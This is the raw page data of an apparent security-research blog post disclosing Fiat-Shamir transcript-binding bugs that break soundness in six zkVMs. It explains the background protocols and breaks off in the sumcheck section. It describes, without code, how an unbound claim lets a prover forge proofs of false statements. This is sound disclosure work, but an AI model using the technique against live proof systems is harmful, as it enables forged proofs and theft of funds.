[{"data":1,"prerenderedAt":177980},["ShallowReactive",2],{"blog-/blog/2026-03-03-zkvms-unfaithful-claims":3,"featured-blog-posts":16010},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":14,"isFeatured":18,"onBlogPage":18,"tags":19,"body":21,"_type":16004,"_id":16005,"_source":16006,"_file":16007,"_stem":16008,"_extension":16009},"/blog/2026-03-03-zkvms-unfaithful-claims","blog",false,"","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[12,13],"himanshu","valter",{"src":15,"width":16,"height":17},"/posts/zkvms-unfaithful-claims/title.png",1536,1024,true,[20],"zkVM",{"type":22,"children":23,"toc":15968},"root",[24,32,77,91,95,102,107,237,240,246,253,258,304,470,475,598,610,621,644,655,660,694,703,708,711,717,722,728,733,738,746,765,906,911,917,1026,1781,1849,1861,1869,2351,2358,2799,3140,3293,3298,4186,4343,4349,4441,4446,5034,5484,5560,5566,5571,5643,5653,5670,5680,5742,6161,6193,6203,6380,6385,6395,7002,7191,7209,7212,7218,7223,7231,7263,7627,7632,7719,7722,7728,7736,7741,7744,7750,7755,7763,7772,7780,7788,7821,7829,7837,7928,8179,8506,8514,8544,8715,9042,9047,9052,9070,9073,9078,9083,9095,9107,9698,9710,9722,9729,9737,9749,9757,9772,9777,10057,10076,10171,10190,10206,10209,10215,10220,10225,10232,10240,10247,10255,10268,10288,10750,10852,10857,10862,10878,10881,10887,10892,10904,10915,10920,11311,11318,11326,11351,11372,11628,11639,11659,12043,12390,12620,12779,12939,13509,13514,13540,13543,13549,13554,13561,13569,13582,13666,13678,13686,13696,13704,13715,13990,14079,14110,14113,14118,14253,14265,14272,14277,14449,14476,14483,14491,14496,14563,14568,14958,15045,15061,15064,15070,15075,15081,15181,15240,15245,15251,15256,15264,15269,15275,15280,15285,15291,15296,15299,15305,15311,15316,15321,15326,15331,15336,15339,15345,15510,15515,15518,15523,15534,15851,15856,15880,15885,15903,15908,15911,15917,15922,15927,15937,15942,15952,15962],{"type":25,"tag":26,"props":27,"children":28},"element","p",{},[29],{"type":30,"value":31},"text","A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":25,"tag":26,"props":33,"children":34},{},[35,37,43,45,50,51,56,57,62,63,68,70,75],{"type":30,"value":36},"We found six systems where this faithfulness breaks. Across ",{"type":25,"tag":38,"props":39,"children":40},"strong",{},[41],{"type":30,"value":42},"Jolt",{"type":30,"value":44},", ",{"type":25,"tag":38,"props":46,"children":47},{},[48],{"type":30,"value":49},"Nexus",{"type":30,"value":44},{"type":25,"tag":38,"props":52,"children":53},{},[54],{"type":30,"value":55},"Cairo-M",{"type":30,"value":44},{"type":25,"tag":38,"props":58,"children":59},{},[60],{"type":30,"value":61},"Ceno",{"type":30,"value":44},{"type":25,"tag":38,"props":64,"children":65},{},[66],{"type":30,"value":67},"Expander",{"type":30,"value":69},", and ",{"type":25,"tag":38,"props":71,"children":72},{},[73],{"type":30,"value":74},"Binius64",{"type":30,"value":76},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":25,"tag":26,"props":78,"children":79},{},[80,82,89],{"type":30,"value":81},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":25,"tag":83,"props":84,"children":86},"a",{"href":85},"#challenges",[87],{"type":30,"value":88},"Challenges",{"type":30,"value":90}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":25,"tag":92,"props":93,"children":94},"hr",{},[],{"type":25,"tag":96,"props":97,"children":99},"h2",{"id":98},"jargon-cheat-sheet",[100],{"type":30,"value":101},"Jargon Cheat Sheet",{"type":25,"tag":26,"props":103,"children":104},{},[105],{"type":30,"value":106},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":25,"tag":108,"props":109,"children":110},"ul",{},[111,122,132,142,152,162,172,182,192,202,212,222],{"type":25,"tag":112,"props":113,"children":114},"li",{},[115,120],{"type":25,"tag":38,"props":116,"children":117},{},[118],{"type":30,"value":119},"Fiat-Shamir",{"type":30,"value":121},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":25,"tag":112,"props":123,"children":124},{},[125,130],{"type":25,"tag":38,"props":126,"children":127},{},[128],{"type":30,"value":129},"Transcript",{"type":30,"value":131},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":25,"tag":112,"props":133,"children":134},{},[135,140],{"type":25,"tag":38,"props":136,"children":137},{},[138],{"type":30,"value":139},"Polynomial Commitment",{"type":30,"value":141},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":25,"tag":112,"props":143,"children":144},{},[145,150],{"type":25,"tag":38,"props":146,"children":147},{},[148],{"type":30,"value":149},"Sumcheck",{"type":30,"value":151},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":25,"tag":112,"props":153,"children":154},{},[155,160],{"type":25,"tag":38,"props":156,"children":157},{},[158],{"type":30,"value":159},"MLE (Multilinear Extension)",{"type":30,"value":161},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":25,"tag":112,"props":163,"children":164},{},[165,170],{"type":25,"tag":38,"props":166,"children":167},{},[168],{"type":30,"value":169},"Lookup / LogUp",{"type":30,"value":171},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":25,"tag":112,"props":173,"children":174},{},[175,180],{"type":25,"tag":38,"props":176,"children":177},{},[178],{"type":30,"value":179},"AIR",{"type":30,"value":181},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":25,"tag":112,"props":183,"children":184},{},[185,190],{"type":25,"tag":38,"props":186,"children":187},{},[188],{"type":30,"value":189},"STARK",{"type":30,"value":191},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":25,"tag":112,"props":193,"children":194},{},[195,200],{"type":25,"tag":38,"props":196,"children":197},{},[198],{"type":30,"value":199},"FRI",{"type":30,"value":201},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":25,"tag":112,"props":203,"children":204},{},[205,210],{"type":25,"tag":38,"props":206,"children":207},{},[208],{"type":30,"value":209},"OODS",{"type":30,"value":211},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":25,"tag":112,"props":213,"children":214},{},[215,220],{"type":25,"tag":38,"props":216,"children":217},{},[218],{"type":30,"value":219},"GKR",{"type":30,"value":221},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":25,"tag":112,"props":223,"children":224},{},[225,230,232],{"type":25,"tag":38,"props":226,"children":227},{},[228],{"type":30,"value":229},"claimed_sum / opening_claim",{"type":30,"value":231},": Prover-supplied values that feed into verification equations. ",{"type":25,"tag":38,"props":233,"children":234},{},[235],{"type":30,"value":236},"These are the usual suspects for binding bugs.",{"type":25,"tag":92,"props":238,"children":239},{},[],{"type":25,"tag":96,"props":241,"children":243},{"id":242},"what-are-we-even-breaking",[244],{"type":30,"value":245},"What Are We Even Breaking?",{"type":25,"tag":247,"props":248,"children":250},"h3",{"id":249},"what-is-a-zkvm",[251],{"type":30,"value":252},"What is a zkVM?",{"type":25,"tag":26,"props":254,"children":255},{},[256],{"type":30,"value":257},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":25,"tag":26,"props":259,"children":260},{},[261,263,302],{"type":30,"value":262},"Formally, the verifier is convinced that there exists a valid trace ",{"type":25,"tag":264,"props":265,"children":269},"code",{"className":266},[267,268],"language-math","math-inline",[270],{"type":25,"tag":271,"props":272,"children":275},"span",{"className":273},[274],"katex",[276],{"type":25,"tag":271,"props":277,"children":281},{"className":278,"ariaHidden":280},[279],"katex-html","true",[282],{"type":25,"tag":271,"props":283,"children":286},{"className":284},[285],"base",[287,293],{"type":25,"tag":271,"props":288,"children":292},{"className":289,"style":291},[290],"strut","height:0.6833em;",[],{"type":25,"tag":271,"props":294,"children":299},{"className":295,"style":298},[296,297],"mord","mathnormal","margin-right:0.13889em;",[300],{"type":30,"value":301},"T",{"type":30,"value":303}," such that:",{"type":25,"tag":26,"props":305,"children":306},{},[307],{"type":25,"tag":264,"props":308,"children":310},{"className":309},[267,268],[311],{"type":25,"tag":271,"props":312,"children":314},{"className":313},[274],[315],{"type":25,"tag":271,"props":316,"children":318},{"className":317,"ariaHidden":280},[279],[319,368,455],{"type":25,"tag":271,"props":320,"children":322},{"className":321},[285],[323,328,334,340,345,349,353,360,364],{"type":25,"tag":271,"props":324,"children":327},{"className":325,"style":326},[290],"height:0.6944em;",[],{"type":25,"tag":271,"props":329,"children":331},{"className":330},[296],[332],{"type":30,"value":333},"∃",{"type":25,"tag":271,"props":335,"children":339},{"className":336,"style":338},[337],"mspace","margin-right:0.2778em;",[],{"type":25,"tag":271,"props":341,"children":343},{"className":342,"style":298},[296,297],[344],{"type":30,"value":301},{"type":25,"tag":271,"props":346,"children":348},{"className":347,"style":338},[337],[],{"type":25,"tag":271,"props":350,"children":352},{"className":351,"style":338},[337],[],{"type":25,"tag":271,"props":354,"children":357},{"className":355},[356],"mrel",[358],{"type":30,"value":359},":",{"type":25,"tag":271,"props":361,"children":363},{"className":362,"style":338},[337],[],{"type":25,"tag":271,"props":365,"children":367},{"className":366,"style":338},[337],[],{"type":25,"tag":271,"props":369,"children":371},{"className":370},[285],[372,377,388,395,401,408,413,420,425,429,434,441,445,451],{"type":25,"tag":271,"props":373,"children":376},{"className":374,"style":375},[290],"height:1em;vertical-align:-0.25em;",[],{"type":25,"tag":271,"props":378,"children":380},{"className":379},[296],[381],{"type":25,"tag":271,"props":382,"children":385},{"className":383},[296,384],"mathsf",[386],{"type":30,"value":387},"VM",{"type":25,"tag":271,"props":389,"children":392},{"className":390},[391],"mopen",[393],{"type":30,"value":394},"(",{"type":25,"tag":271,"props":396,"children":398},{"className":397,"style":298},[296,297],[399],{"type":30,"value":400},"P",{"type":25,"tag":271,"props":402,"children":405},{"className":403},[404],"mpunct",[406],{"type":30,"value":407},",",{"type":25,"tag":271,"props":409,"children":412},{"className":410,"style":411},[337],"margin-right:0.1667em;",[],{"type":25,"tag":271,"props":414,"children":417},{"className":415,"style":416},[296,297],"margin-right:0.07847em;",[418],{"type":30,"value":419},"X",{"type":25,"tag":271,"props":421,"children":423},{"className":422},[404],[424],{"type":30,"value":407},{"type":25,"tag":271,"props":426,"children":428},{"className":427,"style":411},[337],[],{"type":25,"tag":271,"props":430,"children":432},{"className":431,"style":298},[296,297],[433],{"type":30,"value":301},{"type":25,"tag":271,"props":435,"children":438},{"className":436},[437],"mclose",[439],{"type":30,"value":440},")",{"type":25,"tag":271,"props":442,"children":444},{"className":443,"style":338},[337],[],{"type":25,"tag":271,"props":446,"children":448},{"className":447},[356],[449],{"type":30,"value":450},"→",{"type":25,"tag":271,"props":452,"children":454},{"className":453,"style":338},[337],[],{"type":25,"tag":271,"props":456,"children":458},{"className":457},[285],[459,463],{"type":25,"tag":271,"props":460,"children":462},{"className":461,"style":291},[290],[],{"type":25,"tag":271,"props":464,"children":467},{"className":465,"style":466},[296,297],"margin-right:0.22222em;",[468],{"type":30,"value":469},"Y",{"type":25,"tag":26,"props":471,"children":472},{},[473],{"type":30,"value":474},"where:",{"type":25,"tag":108,"props":476,"children":477},{},[478,508,538,568],{"type":25,"tag":112,"props":479,"children":480},{},[481,506],{"type":25,"tag":264,"props":482,"children":484},{"className":483},[267,268],[485],{"type":25,"tag":271,"props":486,"children":488},{"className":487},[274],[489],{"type":25,"tag":271,"props":490,"children":492},{"className":491,"ariaHidden":280},[279],[493],{"type":25,"tag":271,"props":494,"children":496},{"className":495},[285],[497,501],{"type":25,"tag":271,"props":498,"children":500},{"className":499,"style":291},[290],[],{"type":25,"tag":271,"props":502,"children":504},{"className":503,"style":298},[296,297],[505],{"type":30,"value":400},{"type":30,"value":507}," = program/circuit description (public)",{"type":25,"tag":112,"props":509,"children":510},{},[511,536],{"type":25,"tag":264,"props":512,"children":514},{"className":513},[267,268],[515],{"type":25,"tag":271,"props":516,"children":518},{"className":517},[274],[519],{"type":25,"tag":271,"props":520,"children":522},{"className":521,"ariaHidden":280},[279],[523],{"type":25,"tag":271,"props":524,"children":526},{"className":525},[285],[527,531],{"type":25,"tag":271,"props":528,"children":530},{"className":529,"style":291},[290],[],{"type":25,"tag":271,"props":532,"children":534},{"className":533,"style":416},[296,297],[535],{"type":30,"value":419},{"type":30,"value":537}," = public input",{"type":25,"tag":112,"props":539,"children":540},{},[541,566],{"type":25,"tag":264,"props":542,"children":544},{"className":543},[267,268],[545],{"type":25,"tag":271,"props":546,"children":548},{"className":547},[274],[549],{"type":25,"tag":271,"props":550,"children":552},{"className":551,"ariaHidden":280},[279],[553],{"type":25,"tag":271,"props":554,"children":556},{"className":555},[285],[557,561],{"type":25,"tag":271,"props":558,"children":560},{"className":559,"style":291},[290],[],{"type":25,"tag":271,"props":562,"children":564},{"className":563,"style":466},[296,297],[565],{"type":30,"value":469},{"type":30,"value":567}," = claimed public output",{"type":25,"tag":112,"props":569,"children":570},{},[571,596],{"type":25,"tag":264,"props":572,"children":574},{"className":573},[267,268],[575],{"type":25,"tag":271,"props":576,"children":578},{"className":577},[274],[579],{"type":25,"tag":271,"props":580,"children":582},{"className":581,"ariaHidden":280},[279],[583],{"type":25,"tag":271,"props":584,"children":586},{"className":585},[285],[587,591],{"type":25,"tag":271,"props":588,"children":590},{"className":589,"style":291},[290],[],{"type":25,"tag":271,"props":592,"children":594},{"className":593,"style":298},[296,297],[595],{"type":30,"value":301},{"type":30,"value":597}," = private witness/trace (registers, memory history, intermediate values)",{"type":25,"tag":26,"props":599,"children":600},{},[601,603,608],{"type":30,"value":602},"The verifier does ",{"type":25,"tag":38,"props":604,"children":605},{},[606],{"type":30,"value":607},"not",{"type":30,"value":609}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":25,"tag":26,"props":611,"children":612},{},[613,615,620],{"type":30,"value":614},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":25,"tag":38,"props":616,"children":617},{},[618],{"type":30,"value":619},"soundness",{"type":30,"value":359},{"type":25,"tag":108,"props":622,"children":623},{},[624,634],{"type":25,"tag":112,"props":625,"children":626},{},[627,632],{"type":25,"tag":38,"props":628,"children":629},{},[630],{"type":30,"value":631},"Completeness",{"type":30,"value":633},": honest execution verifies.",{"type":25,"tag":112,"props":635,"children":636},{},[637,642],{"type":25,"tag":38,"props":638,"children":639},{},[640],{"type":30,"value":641},"Soundness",{"type":30,"value":643},": false execution should not verify.",{"type":25,"tag":26,"props":645,"children":646},{},[647,649,653],{"type":30,"value":648},"We are breaking ",{"type":25,"tag":38,"props":650,"children":651},{},[652],{"type":30,"value":619},{"type":30,"value":654}," in all six systems.",{"type":25,"tag":26,"props":656,"children":657},{},[658],{"type":30,"value":659},"In all six codebases, verification follows this abstract flow:",{"type":25,"tag":661,"props":662,"children":663},"ol",{},[664,669,674,679,684,689],{"type":25,"tag":112,"props":665,"children":666},{},[667],{"type":30,"value":668},"Fix public statement data.",{"type":25,"tag":112,"props":670,"children":671},{},[672],{"type":30,"value":673},"Parse proof payload (commitments, reduction messages, openings).",{"type":25,"tag":112,"props":675,"children":676},{},[677],{"type":30,"value":678},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":25,"tag":112,"props":680,"children":681},{},[682],{"type":30,"value":683},"Check constraint equations at sampled points.",{"type":25,"tag":112,"props":685,"children":686},{},[687],{"type":30,"value":688},"Check PCS/opening consistency.",{"type":25,"tag":112,"props":690,"children":691},{},[692],{"type":30,"value":693},"Accept only if all checks are jointly consistent.",{"type":25,"tag":26,"props":695,"children":696},{},[697],{"type":25,"tag":698,"props":699,"children":702},"img",{"alt":700,"src":701},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":25,"tag":26,"props":704,"children":705},{},[706],{"type":30,"value":707},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":25,"tag":92,"props":709,"children":710},{},[],{"type":25,"tag":96,"props":712,"children":714},{"id":713},"the-building-blocks",[715],{"type":30,"value":716},"The Building Blocks",{"type":25,"tag":26,"props":718,"children":719},{},[720],{"type":30,"value":721},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":25,"tag":247,"props":723,"children":725},{"id":724},"the-fiat-shamir-transform",[726],{"type":30,"value":727},"The Fiat-Shamir Transform",{"type":25,"tag":26,"props":729,"children":730},{},[731],{"type":30,"value":732},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":25,"tag":26,"props":734,"children":735},{},[736],{"type":30,"value":737},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":25,"tag":26,"props":739,"children":740},{},[741],{"type":25,"tag":698,"props":742,"children":745},{"alt":743,"src":744},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":25,"tag":26,"props":747,"children":748},{},[749,751,756,758,763],{"type":30,"value":750},"The hash (transcript) ",{"type":25,"tag":38,"props":752,"children":753},{},[754],{"type":30,"value":755},"must",{"type":30,"value":757}," include everything that affects verification ",{"type":25,"tag":38,"props":759,"children":760},{},[761],{"type":30,"value":762},"BEFORE",{"type":30,"value":764}," the challenges derived from it are used.",{"type":25,"tag":26,"props":766,"children":767},{},[768,770,796,798,823,825,850,852,877,879,904],{"type":30,"value":769},"If some value ",{"type":25,"tag":264,"props":771,"children":773},{"className":772},[267,268],[774],{"type":25,"tag":271,"props":775,"children":777},{"className":776},[274],[778],{"type":25,"tag":271,"props":779,"children":781},{"className":780,"ariaHidden":280},[279],[782],{"type":25,"tag":271,"props":783,"children":785},{"className":784},[285],[786,790],{"type":25,"tag":271,"props":787,"children":789},{"className":788,"style":291},[290],[],{"type":25,"tag":271,"props":791,"children":793},{"className":792,"style":466},[296,297],[794],{"type":30,"value":795},"V",{"type":30,"value":797}," affects a verification equation, but ",{"type":25,"tag":264,"props":799,"children":801},{"className":800},[267,268],[802],{"type":25,"tag":271,"props":803,"children":805},{"className":804},[274],[806],{"type":25,"tag":271,"props":807,"children":809},{"className":808,"ariaHidden":280},[279],[810],{"type":25,"tag":271,"props":811,"children":813},{"className":812},[285],[814,818],{"type":25,"tag":271,"props":815,"children":817},{"className":816,"style":291},[290],[],{"type":25,"tag":271,"props":819,"children":821},{"className":820,"style":466},[296,297],[822],{"type":30,"value":795},{"type":30,"value":824}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":25,"tag":264,"props":826,"children":828},{"className":827},[267,268],[829],{"type":25,"tag":271,"props":830,"children":832},{"className":831},[274],[833],{"type":25,"tag":271,"props":834,"children":836},{"className":835,"ariaHidden":280},[279],[837],{"type":25,"tag":271,"props":838,"children":840},{"className":839},[285],[841,845],{"type":25,"tag":271,"props":842,"children":844},{"className":843,"style":291},[290],[],{"type":25,"tag":271,"props":846,"children":848},{"className":847,"style":466},[296,297],[849],{"type":30,"value":795},{"type":30,"value":851},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":25,"tag":264,"props":853,"children":855},{"className":854},[267,268],[856],{"type":25,"tag":271,"props":857,"children":859},{"className":858},[274],[860],{"type":25,"tag":271,"props":861,"children":863},{"className":862,"ariaHidden":280},[279],[864],{"type":25,"tag":271,"props":865,"children":867},{"className":866},[285],[868,872],{"type":25,"tag":271,"props":869,"children":871},{"className":870,"style":291},[290],[],{"type":25,"tag":271,"props":873,"children":875},{"className":874,"style":466},[296,297],[876],{"type":30,"value":795},{"type":30,"value":878},", which may allow it to choose ",{"type":25,"tag":264,"props":880,"children":882},{"className":881},[267,268],[883],{"type":25,"tag":271,"props":884,"children":886},{"className":885},[274],[887],{"type":25,"tag":271,"props":888,"children":890},{"className":889,"ariaHidden":280},[279],[891],{"type":25,"tag":271,"props":892,"children":894},{"className":893},[285],[895,899],{"type":25,"tag":271,"props":896,"children":898},{"className":897,"style":291},[290],[],{"type":25,"tag":271,"props":900,"children":902},{"className":901,"style":466},[296,297],[903],{"type":30,"value":795},{"type":30,"value":905}," exactly so that the verification passes, even though it should not.",{"type":25,"tag":26,"props":907,"children":908},{},[909],{"type":30,"value":910},"This is the bug class we found in all six systems.",{"type":25,"tag":247,"props":912,"children":914},{"id":913},"the-sumcheck-protocol",[915],{"type":30,"value":916},"The Sumcheck Protocol",{"type":25,"tag":26,"props":918,"children":919},{},[920,922,1024],{"type":30,"value":921},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":25,"tag":264,"props":923,"children":925},{"className":924},[267,268],[926],{"type":25,"tag":271,"props":927,"children":929},{"className":928},[274],[930],{"type":25,"tag":271,"props":931,"children":933},{"className":932,"ariaHidden":280},[279],[934],{"type":25,"tag":271,"props":935,"children":937},{"className":936},[285],[938,942,948,954,959,963,969],{"type":25,"tag":271,"props":939,"children":941},{"className":940,"style":375},[290],[],{"type":25,"tag":271,"props":943,"children":945},{"className":944},[391],[946],{"type":30,"value":947},"{",{"type":25,"tag":271,"props":949,"children":951},{"className":950},[296],[952],{"type":30,"value":953},"0",{"type":25,"tag":271,"props":955,"children":957},{"className":956},[404],[958],{"type":30,"value":407},{"type":25,"tag":271,"props":960,"children":962},{"className":961,"style":411},[337],[],{"type":25,"tag":271,"props":964,"children":966},{"className":965},[296],[967],{"type":30,"value":968},"1",{"type":25,"tag":271,"props":970,"children":972},{"className":971},[437],[973,979],{"type":25,"tag":271,"props":974,"children":976},{"className":975},[437],[977],{"type":30,"value":978},"}",{"type":25,"tag":271,"props":980,"children":983},{"className":981},[982],"msupsub",[984],{"type":25,"tag":271,"props":985,"children":988},{"className":986},[987],"vlist-t",[989],{"type":25,"tag":271,"props":990,"children":993},{"className":991},[992],"vlist-r",[994],{"type":25,"tag":271,"props":995,"children":999},{"className":996,"style":998},[997],"vlist","height:0.6644em;",[1000],{"type":25,"tag":271,"props":1001,"children":1003},{"style":1002},"top:-3.063em;margin-right:0.05em;",[1004,1010],{"type":25,"tag":271,"props":1005,"children":1009},{"className":1006,"style":1008},[1007],"pstrut","height:2.7em;",[],{"type":25,"tag":271,"props":1011,"children":1017},{"className":1012},[1013,1014,1015,1016],"sizing","reset-size6","size3","mtight",[1018],{"type":25,"tag":271,"props":1019,"children":1021},{"className":1020},[296,297,1016],[1022],{"type":30,"value":1023},"n",{"type":30,"value":1025},"), i.e the claim:",{"type":25,"tag":26,"props":1027,"children":1028},{},[1029],{"type":25,"tag":264,"props":1030,"children":1032},{"className":1031},[267,268],[1033],{"type":25,"tag":271,"props":1034,"children":1036},{"className":1035},[274],[1037],{"type":25,"tag":271,"props":1038,"children":1040},{"className":1039,"ariaHidden":280},[279],[1041,1070],{"type":25,"tag":271,"props":1042,"children":1044},{"className":1043},[285],[1045,1049,1056,1060,1066],{"type":25,"tag":271,"props":1046,"children":1048},{"className":1047,"style":291},[290],[],{"type":25,"tag":271,"props":1050,"children":1053},{"className":1051,"style":1052},[296,297],"margin-right:0.08125em;",[1054],{"type":30,"value":1055},"H",{"type":25,"tag":271,"props":1057,"children":1059},{"className":1058,"style":338},[337],[],{"type":25,"tag":271,"props":1061,"children":1063},{"className":1062},[356],[1064],{"type":30,"value":1065},"=",{"type":25,"tag":271,"props":1067,"children":1069},{"className":1068,"style":338},[337],[],{"type":25,"tag":271,"props":1071,"children":1073},{"className":1072},[285],[1074,1079,1241,1245,1389,1393,1400,1404,1548,1552,1559,1564,1624,1629,1633,1690,1695,1699,1705,1709,1714,1718,1776],{"type":25,"tag":271,"props":1075,"children":1078},{"className":1076,"style":1077},[290],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":25,"tag":271,"props":1080,"children":1083},{"className":1081},[1082],"mop",[1084,1093],{"type":25,"tag":271,"props":1085,"children":1090},{"className":1086,"style":1089},[1082,1087,1088],"op-symbol","small-op","position:relative;top:0em;",[1091],{"type":30,"value":1092},"∑",{"type":25,"tag":271,"props":1094,"children":1096},{"className":1095},[982],[1097],{"type":25,"tag":271,"props":1098,"children":1101},{"className":1099},[987,1100],"vlist-t2",[1102,1229],{"type":25,"tag":271,"props":1103,"children":1105},{"className":1104},[992],[1106,1224],{"type":25,"tag":271,"props":1107,"children":1110},{"className":1108,"style":1109},[997],"height:0.2253em;",[1111],{"type":25,"tag":271,"props":1112,"children":1114},{"style":1113},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[1115,1119],{"type":25,"tag":271,"props":1116,"children":1118},{"className":1117,"style":1008},[1007],[],{"type":25,"tag":271,"props":1120,"children":1122},{"className":1121},[1013,1014,1015,1016],[1123],{"type":25,"tag":271,"props":1124,"children":1126},{"className":1125},[296,1016],[1127,1193,1199,1204,1209,1214,1219],{"type":25,"tag":271,"props":1128,"children":1130},{"className":1129},[296,1016],[1131,1137],{"type":25,"tag":271,"props":1132,"children":1134},{"className":1133},[296,297,1016],[1135],{"type":30,"value":1136},"x",{"type":25,"tag":271,"props":1138,"children":1140},{"className":1139},[982],[1141],{"type":25,"tag":271,"props":1142,"children":1144},{"className":1143},[987,1100],[1145,1181],{"type":25,"tag":271,"props":1146,"children":1148},{"className":1147},[992],[1149,1174],{"type":25,"tag":271,"props":1150,"children":1153},{"className":1151,"style":1152},[997],"height:0.3173em;",[1154],{"type":25,"tag":271,"props":1155,"children":1157},{"style":1156},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[1158,1163],{"type":25,"tag":271,"props":1159,"children":1162},{"className":1160,"style":1161},[1007],"height:2.5em;",[],{"type":25,"tag":271,"props":1164,"children":1168},{"className":1165},[1013,1166,1167,1016],"reset-size3","size1",[1169],{"type":25,"tag":271,"props":1170,"children":1172},{"className":1171},[296,1016],[1173],{"type":30,"value":968},{"type":25,"tag":271,"props":1175,"children":1178},{"className":1176},[1177],"vlist-s",[1179],{"type":30,"value":1180},"​",{"type":25,"tag":271,"props":1182,"children":1184},{"className":1183},[992],[1185],{"type":25,"tag":271,"props":1186,"children":1189},{"className":1187,"style":1188},[997],"height:0.143em;",[1190],{"type":25,"tag":271,"props":1191,"children":1192},{},[],{"type":25,"tag":271,"props":1194,"children":1196},{"className":1195},[356,1016],[1197],{"type":30,"value":1198},"∈",{"type":25,"tag":271,"props":1200,"children":1202},{"className":1201},[391,1016],[1203],{"type":30,"value":947},{"type":25,"tag":271,"props":1205,"children":1207},{"className":1206},[296,1016],[1208],{"type":30,"value":953},{"type":25,"tag":271,"props":1210,"children":1212},{"className":1211},[404,1016],[1213],{"type":30,"value":407},{"type":25,"tag":271,"props":1215,"children":1217},{"className":1216},[296,1016],[1218],{"type":30,"value":968},{"type":25,"tag":271,"props":1220,"children":1222},{"className":1221},[437,1016],[1223],{"type":30,"value":978},{"type":25,"tag":271,"props":1225,"children":1227},{"className":1226},[1177],[1228],{"type":30,"value":1180},{"type":25,"tag":271,"props":1230,"children":1232},{"className":1231},[992],[1233],{"type":25,"tag":271,"props":1234,"children":1237},{"className":1235,"style":1236},[997],"height:0.4747em;",[1238],{"type":25,"tag":271,"props":1239,"children":1240},{},[],{"type":25,"tag":271,"props":1242,"children":1244},{"className":1243,"style":411},[337],[],{"type":25,"tag":271,"props":1246,"children":1248},{"className":1247},[1082],[1249,1254],{"type":25,"tag":271,"props":1250,"children":1252},{"className":1251,"style":1089},[1082,1087,1088],[1253],{"type":30,"value":1092},{"type":25,"tag":271,"props":1255,"children":1257},{"className":1256},[982],[1258],{"type":25,"tag":271,"props":1259,"children":1261},{"className":1260},[987,1100],[1262,1378],{"type":25,"tag":271,"props":1263,"children":1265},{"className":1264},[992],[1266,1373],{"type":25,"tag":271,"props":1267,"children":1269},{"className":1268,"style":1109},[997],[1270],{"type":25,"tag":271,"props":1271,"children":1272},{"style":1113},[1273,1277],{"type":25,"tag":271,"props":1274,"children":1276},{"className":1275,"style":1008},[1007],[],{"type":25,"tag":271,"props":1278,"children":1280},{"className":1279},[1013,1014,1015,1016],[1281],{"type":25,"tag":271,"props":1282,"children":1284},{"className":1283},[296,1016],[1285,1343,1348,1353,1358,1363,1368],{"type":25,"tag":271,"props":1286,"children":1288},{"className":1287},[296,1016],[1289,1294],{"type":25,"tag":271,"props":1290,"children":1292},{"className":1291},[296,297,1016],[1293],{"type":30,"value":1136},{"type":25,"tag":271,"props":1295,"children":1297},{"className":1296},[982],[1298],{"type":25,"tag":271,"props":1299,"children":1301},{"className":1300},[987,1100],[1302,1332],{"type":25,"tag":271,"props":1303,"children":1305},{"className":1304},[992],[1306,1327],{"type":25,"tag":271,"props":1307,"children